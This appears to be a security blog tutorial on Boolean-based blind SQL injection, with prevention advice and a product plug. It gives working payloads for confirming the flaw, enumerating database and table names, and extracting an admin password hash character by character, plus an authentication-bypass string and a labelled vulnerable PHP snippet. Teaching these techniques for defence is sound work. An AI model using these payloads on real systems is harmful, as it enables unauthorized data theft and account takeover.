What is Boolean-Based Blind SQL Injection? Ways to Exploit, Examples and Impact

SQL Injection (SQLi) remains one of the most persistent and damaging vulnerabilities in web applications today. While many developers are familiar with "classic" SQLi where data is directly returned in the browser, there is a stealthier, more tedious variant that often flies under the radar: Boolean-based Blind SQL Injection. This technique allows attackers to exfiltrate entire databases by asking the server a series of true or false questions.

Understanding SQL Injection (The Basics)

Before diving into the "blind" aspect, it is essential to understand the core concept of SQL Injection. SQL Injection occurs when user-supplied data is insecurely concatenated into a database query. Instead of the data being treated as a simple string, the database engine interprets it as part of the SQL command itself. This allows an attacker to manipulate the query logic, bypass authentication, or access unauthorized data.

In a standard SQLi scenario, the application might display the results of the query or a database error message directly on the page. For example, if you search for a user ID and the application is vulnerable, you might see the user's details or a "Syntax error near '...'" message. These clues make exploitation straightforward. However, modern security practices often involve disabling error messages, which leads us to Blind SQLi.

What is Blind SQL Injection?

Blind SQL Injection is a type of inferential SQLi where the web application does not return the results of the SQL query or any database errors in its HTTP responses. The attacker cannot see the data directly. Instead, they must observe how the application's behavior changes based on the queries they inject.

There are two primary types of Blind SQL Injection:

1. Boolean-based: The attacker observes changes in the page content (e.g., a "Welcome" message appearing or disappearing).
2. Time-based: The attacker observes how long the server takes to respond (e.g., forcing the database to wait for 10 seconds if a condition is true).

In this guide, we will focus exclusively on the Boolean-based method.

What is Boolean-Based Blind SQL Injection?

Boolean-based Blind SQL Injection relies on sending SQL queries that force the database to return a different result depending on whether the injected logical condition evaluates to TRUE or FALSE. By monitoring the HTTP response from the server, the attacker can determine the result of the logical test.

Imagine a web page that displays a profile based on a user_id parameter: https://example.com/profile.php?id=1.

If the application is vulnerable, an attacker might try:

• https://example.com/profile.php?id=1 AND 1=1 (True condition)
• https://example.com/profile.php?id=1 AND 1=2 (False condition)

If the first URL loads the profile normally and the second URL shows a "User not found" message or a blank page, the application is vulnerable to Boolean-based Blind SQLi. The attacker now has a way to communicate with the database through binary (True/False) responses.

How Boolean-Based Blind SQL Injection Works

The core of this attack is the use of logical operators and database functions to ask granular questions about the data. Since we only get a "Yes" or "No" answer, we must break down the data we want to steal into individual characters and bits.

The Logic Behind the Query

Suppose we want to know the name of the current database. We can't just ask the database to "tell us the name." Instead, we ask:

1. "Is the first letter of the database name 'a'?" (False)
2. "Is the first letter of the database name 'b'?" (False)
3. "Is the first letter of the database name 'c'?" (True)

Once we know the first letter is 'c', we move to the second letter, then the third, and so on. This process is repeated until the entire string is reconstructed.

Step-by-Step Exploitation Process

Exploiting this vulnerability manually is time-consuming, but understanding the manual steps is crucial for any security professional.

1. Identifying the Vulnerability

First, we must confirm that the application responds differently to True and False statements.

True Payload:

' AND 1=1 --

False Payload:

' AND 1=2 --

If the page content differs (e.g., a specific HTML element is present in the True response but missing in the False response), you have a confirmed vulnerability. In a real-world scenario, Jsmon can help identify these endpoints by mapping your external attack surface and highlighting potential injection points in your infrastructure.

2. Determining Database Information

Before extracting data, we need to know what we are dealing with. Let's find the length of the database name using the LENGTH() function.

Payload:

' AND (SELECT LENGTH(database())) = 5 --

We increment the number until the page returns the "True" response. If the page reflects the "True" state when the number is 8, we know the database name is 8 characters long.

3. Extracting the Database Name

Now we use the SUBSTR() (or SUBSTRING()) and ASCII() functions.

• SUBSTR(string, start, length): Extracts a part of a string.
• ASCII(character): Returns the numeric ASCII value of a character.

Payload to check the first character:

' AND (SELECT ASCII(SUBSTR(database(),1,1))) = 100 --

In ASCII, 100 is the letter 'd'. If the page returns the "True" response, the first letter of the database name is 'd'. Attackers often use a "greater than" or "less than" approach (Binary Search) to speed this up:

' AND (SELECT ASCII(SUBSTR(database(),1,1))) > 90 --

4. Enumerating Table Names

Once we have the database name, we can query the information_schema (in MySQL) to find table names. We want to find a table that likely contains sensitive data, such as users or admin_accounts.

Payload to check the length of the first table name:

' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1) = 5 --

Then, we extract the table name character by character just like we did with the database name.

Practical Examples and Payloads

Let's look at more complex payloads used in real-world assessments.

Example: Extracting Admin Password Hashes

Assume we found a table named users with columns username and password. We want to extract the password for the user 'admin'.

Step 1: Get the length of the password hash

' AND (SELECT LENGTH(password) FROM users WHERE username='admin') = 32 --

(A length of 32 often suggests an MD5 hash).

Step 2: Extract the hash character by character

' AND (SELECT ASCII(SUBSTR(password,1,1)) FROM users WHERE username='admin') = 52 --

(ASCII 52 is the character '4').

Example: Using the LIKE Operator

Sometimes, attackers use the LIKE operator with wildcards to simplify the process, though it can be less precise than ASCII comparisons.

' AND (SELECT password FROM users WHERE username='admin') LIKE 'a%' --

If this is True, the password starts with 'a'.

The Impact of Boolean-Based Blind SQLi

The impact of this vulnerability is identical to standard SQL Injection, though the extraction process is slower.

1. Full Data Breach: Attackers can dump the entire database, including PII (Personally Identifiable Information), credentials, and financial records.
2. Authentication Bypass: By manipulating queries to always return True (e.g., admin' OR 1=1 --), attackers can log into accounts without a password.
3. Loss of Integrity: In some database configurations, attackers might be able to use UPDATE or DELETE statements to modify or destroy data.
4. Regulatory Fines: Data breaches resulting from preventable vulnerabilities like SQLi often lead to heavy fines under GDPR, CCPA, and other regulations.

How to Prevent Boolean-Based Blind SQL Injection

Preventing Blind SQLi follows the same principles as preventing any other form of SQL injection. The goal is to ensure that user input is never interpreted as code.

1. Use Parameterized Queries (Prepared Statements)

This is the most effective defense. Instead of building a query string with user input, you use placeholders. The database driver ensures that the input is treated strictly as data.

Vulnerable PHP Code:

$id = $_GET['id'];
$query = "SELECT name FROM products WHERE id = " . $id;
$result = $conn->query($query);

Secure PHP Code (using PDO):

$id = $_GET['id'];
$stmt = $pdo->prepare('SELECT name FROM products WHERE id = :id');
$stmt->execute(['id' => $id]);
$user = $stmt->fetch();

2. Input Validation and Sanitization

Never trust user input. If you expect a numeric ID, ensure the input is actually a number before passing it to any function. While sanitization (stripping quotes) is helpful, it is not a substitute for prepared statements, as attackers often find ways to bypass filters.

3. Principle of Least Privilege

Ensure the database user account used by the web application has the minimum permissions necessary. For example, a web app should not connect as a db_owner or root user. It should only have access to the specific tables it needs and should not have permission to access system tables like information_schema if possible.

4. Web Application Firewalls (WAF)

A WAF can help detect and block common SQLi patterns (like AND 1=1 or ASCII(SUBSTR(...)). While a WAF is a great layer of defense-in-depth, it should not be your only defense, as many WAFs can be bypassed with clever encoding techniques.

Conclusion

Boolean-based Blind SQL Injection is a powerful technique that proves that even when an application doesn't "leak" data or errors, it can still be completely compromised. By understanding the logic of True/False inferences, attackers can slowly but surely map out an entire database infrastructure. For developers and security teams, the message is clear: robust input handling and the use of parameterized queries are non-negotiable.

To proactively monitor your organization's external attack surface and catch exposures like Blind SQLi before attackers do, try Jsmon.